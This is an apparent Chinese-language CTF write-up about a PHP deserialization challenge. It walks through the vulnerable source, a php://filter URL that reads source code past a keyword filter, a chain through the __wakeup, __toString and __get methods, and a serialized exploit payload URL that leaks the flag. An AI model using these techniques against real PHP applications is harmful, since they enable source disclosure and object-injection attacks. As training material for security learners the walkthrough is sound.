php反序列化之pop鏈構造


本題是某信有一次內部比賽的題目,涉及到pop鏈的構造問題,所以在這里與大家分享一下

題目

查看源碼

 

 

 

邏輯是當參數fn存在且不包含string、zlib、flag這三個字符串時,進行文件包含
這里的過濾是為了防止我們直接讀取到flag.php的源碼,因為畢竟題名是反序列化
如果不存在fn,對code進行反序列化
先利用php://filter偽協議讀取try.php源碼
http://1.1.1.1:8080/?fn=php://filter/read=convert.base64-encode/resource=try.php
再base64解碼之后拿到源碼

 1 <?php  2     $test = "Hello world";  3 include "flag.php";  4 function check_fn($filename){  5     $result = preg_match("/string|zlib|flag/i", $filename);  6     if($result){  7         return FALSE;  8  }  9     return TRUE; 10 } 11 
12 class agood { 13     private $gooda; 14     function __wakeup(){ 15         $temp = $this->gooda . 'ctf'; 16  } 17 } 18 
19 class bgood { 20     private $items = array(); 21     public function __toString() { 22         $item = $this->items; 23         $str = $item['ss']->sword; 24         return 'what the good?'; 25  } 26 } 27 
28 class cgood { 29     private $params = array(); 30     public function __get($key) { 31         global $flag; 32         $tmp = $this->params[$key]; 33         var_dump($$tmp); 34  } 35 }

 

分析

這里的思路是,對agood類反序列化觸發__wakeup魔術方法,執行過程中調用了$gooda進行了字符串拼接,觸發了bgood中的__toString魔術方法,方法內部調用$items[‘ss’]的變量,調用對象中不存在的成員變量,觸發__get($key),方法,這里的$key就是我們所調用的變量的值,也就是sword。
最后輸出$$tmp,也就是要將$tmp賦值為flag,給cgood中params[$sword]賦值為flag即可。
整理一下思路:
agood中的$this->gooda觸發bgood中的__toString方法,將$this->gooda賦值為new bgood()。
bgood中的$items[‘ss’]觸發cgood中的__get函數,給$items[‘ss’]賦值為new cgood()。
最后讓cgood中的$params[‘sword’]=”flag”

 

payload

 1 <?php  2 class agood{  3     private $gooda;  4     function __construct()  5  {  6         $this->gooda = new bgood();  7  }  8 
 9 } 10 class bgood{ 11 
12     private $items = array(); 13     function __construct(){ 14         $this->items = array("ss"=>new cgood()); 15  } 16 } 17 
18 class cgood{ 19     private $params = array("sword"=>"flag"); 20 } 21 echo serialize(new agood()); 22 ?>

 

由於變量都是私有的,所以需要在變量名之前加上%00類名%00
這里我們直接輸出,%00是輸出不出來的,所以手動加上
最后是:
http://1.1.1.1:8080/?code=O:5:%22agood%22:1:{s:12:%22%00agood%00gooda%22;O:5:%22bgood%22:1:{s:12:%22%00bgood%00items%22;a:1:{s:2:%22ss%22;O:5:%22cgood%22:1:{s:13:%22%00cgood%00params%22;a:1:{s:5:%22sword%22;s:4:%22flag%22;}}}}}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM